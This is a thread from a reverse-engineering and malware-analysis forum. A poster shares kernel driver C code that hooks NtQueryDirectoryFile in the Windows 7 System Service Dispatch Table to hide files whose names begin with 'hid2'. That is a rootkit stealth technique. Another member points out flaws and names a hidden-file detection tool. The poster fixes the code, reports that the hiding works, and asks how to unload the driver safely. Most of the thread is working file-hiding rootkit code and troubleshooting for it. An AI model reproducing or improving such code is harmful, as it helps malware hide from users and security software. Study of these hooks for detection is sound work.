A forum for reverse engineering, OS internals and malware analysis 

 #8190  by lorddoskias
 Sun Aug 21, 2011 7:52 pm
I'm experimenting with hooking ZwQueryDirectoryFile on win 7 x32 but I'm getting strange behavior:

The code that I have is the following:
Code: Select all
NTSTATUS newZwQueryDirectoryFile(HANDLE FileHandle,HANDLE Event, PIO_APC_ROUTINE ApcRoutine,PVOID ApcContext,PIO_STATUS_BLOCK IoStatusBlock,PVOID FileInformation,ULONG Length, FILE_INFORMATION_CLASS FileInformationClass,BOOLEAN ReturnSingleEntry,PUNICODE_STRING FileName,BOOLEAN RestartScan) 
{

	NTSTATUS status;
	BYTE *tempMath;
	PFILE_BOTH_DIR_INFORMATION currFileItem;
	PFILE_BOTH_DIR_INFORMATION prevFileItem;

	status = myNtQueryDirectoryFile(FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, FileInformation, Length, FileInformationClass, ReturnSingleEntry, FileName, RestartScan);

	if(!NT_SUCCESS(status) || FileInformationClass != FileBothDirectoryInformation)
		return status;

	currFileItem = (PFILE_BOTH_DIR_INFORMATION) FileInformation;
	prevFileItem = NULL;

	if( NT_SUCCESS( status ) && 
		(FileInformationClass == FileDirectoryInformation ||
		FileInformationClass == FileFullDirectoryInformation ||
		FileInformationClass == FileIdFullDirectoryInformation ||
		FileInformationClass == FileBothDirectoryInformation ||
		FileInformationClass == FileIdBothDirectoryInformation ||
		FileInformationClass == FileNamesInformation )
		) {

			PVOID currentEntry = FileInformation;
			PVOID prevEntry = NULL;
			BOOLEAN lastInList; 
			int myLength = 8;
			do {

				lastInList = !getDirEntryNextOffset(currentEntry, FileInformationClass);
				if(getDirEntryFileLength(currentEntry, FileInformationClass) >= myLength) {
					if(RtlCompareMemory(getDirEntryFileName(currentEntry, FileInformationClass), L"hid2", myLength) == myLength) {
						DbgPrint("We are going to hide a file BRAT!\n");

						if(lastInList) {
							if(currentEntry == FileInformation) {
								status = STATUS_NO_MORE_FILES;
							} else {
								setDirEntryNextOffset(prevEntry, FileInformationClass, 0);
							}
						} else {
							int Pos = ((ULONG)currentEntry) - (ULONG)FileInformation;
							int remainingBytes = (DWORD)Length - Pos - getDirEntryNextOffset(currentEntry, FileInformationClass);
							RtlCopyMemory(currentEntry, (BYTE *)currentEntry + getDirEntryNextOffset(currentEntry, FileInformationClass), (DWORD)remainingBytes);
							continue;
						}
					}
				}

				prevEntry = currentEntry;
				currentEntry = (BYTE *)currentEntry + getDirEntryNextOffset(currentEntry, FileInformationClass);
			} while(!lastInList);		
	}

	return status;
}
My driver entry:

...
Code: Select all
typedef NTSTATUS (__stdcall *QUERY_DIR_INFO)(
	__in      HANDLE FileHandle,
	__in_opt  HANDLE Event,
	__in_opt  PIO_APC_ROUTINE ApcRoutine,
	__in_opt  PVOID ApcContext,
	__out     PIO_STATUS_BLOCK IoStatusBlock,
	__out     PVOID FileInformation,
	__in      ULONG Length,
	__in      FILE_INFORMATION_CLASS FileInformationClass,
	__in      BOOLEAN ReturnSingleEntry,
	__in_opt  PUNICODE_STRING FileName,
	__in      BOOLEAN RestartScan
	);

QUERY_DIR_INFO myNtQueryDirectoryFile = NULL;
//skipped irrelevant parts
myNtQueryDirectoryFile = (QUERY_DIR_INFO) hookSSDTEntry((BYTE *) ZwQueryDirectoryFile, (BYTE *)newZwQueryDirectoryFile, (DWORD *)state.address);
The function is hooked successfuly because I can see "We are going to hide a file\n" when I enter into a direcotry which has a file whose name starts with "hid2" but the file is not hidden and when I click it I get an error saying that the security settings of the computer prevented opening the file. So what am I doing wrong while hooking it?

My second issue is that I cannot unload the driver without crashing the system, the bugcheck is: Driver unloaded without cancelling pending operations
I'm guessing this is hapenning because the driver is unloading while amidst performing an operation within the hook function? So how can I avoid this situation - my driver unload currently looks like:
Code: Select all
void SSDThookUnload(IN PDRIVER_OBJECT DriverObject)
{

	UNICODE_STRING Win32Device;
	WPGLOBAL state;
        //removed code - disabling SSDT protection through MDL

	DbgPrint("Removing SSDT HOOK");
	_asm cli
	unhookSSDTEntry((BYTE *) ZwQueryDirectoryFile, (BYTE *)newZwQueryDirectoryFile, (DWORD *)state.address);
	_asm sti

       //removed code
}

 #8202  by Vrtule
 Mon Aug 22, 2011 10:55 am
Hello,

I am not sure why you are experiencing such behavior. However, I see quite a lot mistakes in your code.

1) When the entry which describes the file you wnat to hide, is the last in the FileInformation buffer, you just return STATUS_NO_MORE_ENTRIES. This won't work when an appliction is calling NtQueryDirectoryFile with ReturnSingleEntry set to TRUE.

2) You should validate that the buffer FileInformation (and other buffers passed in parameter) is valid before you attempt to read data from it. Remember, that an application might set its address to point to completely bad memory or to kernel memory.

3) I am not sure whether disabling interrupts help very much when running on SMP system. CLI/STI instructions affect interrupt behavior of the current logical processor only.

4) Unloading your driver even after unhooking NtQueryDirectoryFile system service can cause BSOD because some threads might be actually executing their code inside the system service. Or, they can be blocked somewhere deeper and will reappear in the hooked code (wich does not exist after the driver is unloaded) after a while.

5) I think you should not use ZwQueryDirectoryFile name because the entry in System Service Dispatch Table points to NtQueryDirectoryFile function. Remember that ZwXXX routines are expected to be used only by kernel itself. Internally, they lead code execution through SSDT into NtXXX routines.

If I were you, i would have coded a small application which would call NtQueryDirectoryFile directly. Because you do not overwrite any data in FileInformation buffer (except NextEntryOffset member), you can study its structure after successful call and determine what went wrong.

I hope I did not say too much wrong things. And apologize for my English.
 #8205  by lorddoskias
 Mon Aug 22, 2011 11:42 am
Hi,

I managed to fix file hiding - it works now, so the only issue which remains is the unloading one. The way in which I fixed is by removing this erroneous check which was from a previous version of the code:
Code: Select all
if(!NT_SUCCESS(status) || FileInformationClass != FileBothDirectoryInformation)
      return status;
Regarding point 1 and 2:

It actually works because what I'm doing is invoking the NtQueryDirectoryFile FIRST and then filtering the already returned results - that way I don't have to care about buffer checking etc, because this is done by the kernel - or am I mistaken?

4: You might be correct - I don't really know for myself but then again is it not possible to SAFELY unload a driver which has hooked NtQueryDirectoryInformation?

5: I'm actually hooking NtQueryDirectoryInformation ( the actual function which has the code, and not the ZwQueryDirFile).

Regarding the crash - here is what I found:
http://wj32.wordpress.com/2009/01/18/wh ... er-unload/

Anyway - still waiting for ideas other than stay loaded forever
 #8207  by Vrtule
 Mon Aug 22, 2011 12:35 pm
Ad 1)
If I read your code correctly, you return STATUS_NO_MORE_ENTRIES when the information about the file being hidden is stored as a last entry in FileInformationBuffer. When ReturnSingleEntry is set to TRUE, call to NtQueryDirectoryFile returns (on success) always only one entry. When this entry represents file you are interested in, your hook routine returns STATUS_NO_MORE_ENTRIES. This is not correct because that file probably is not the last file in the enumeration.

Some time ago, there was a tool called flister which searched for hidden files by NtQueryDirectoryFile with ReturnSingleEntry set to TRUE. You can look at it. Unfortunately, I don't know whether it is available now.

You're quite right about the buffer validation. However, it won't still work when the application will be really malicious (I did not see this in ITW yet) and for example unallocates the buffer just after NtQueryDirectoryFile returns to your hook function and just before you start touching the buffer.
 #8218  by lorddoskias
 Mon Aug 22, 2011 6:30 pm
Hi, actually I return NO_MORE_FILES when the file being hidden is _THE ONLY_ entry in the list - that is it equals to the begin address of the fileinformation buffer nextOffset is set to 0. The tool you are talking about is http://invisiblethings.org/tools/flister.txt and I personally have not tested it but probably should have :).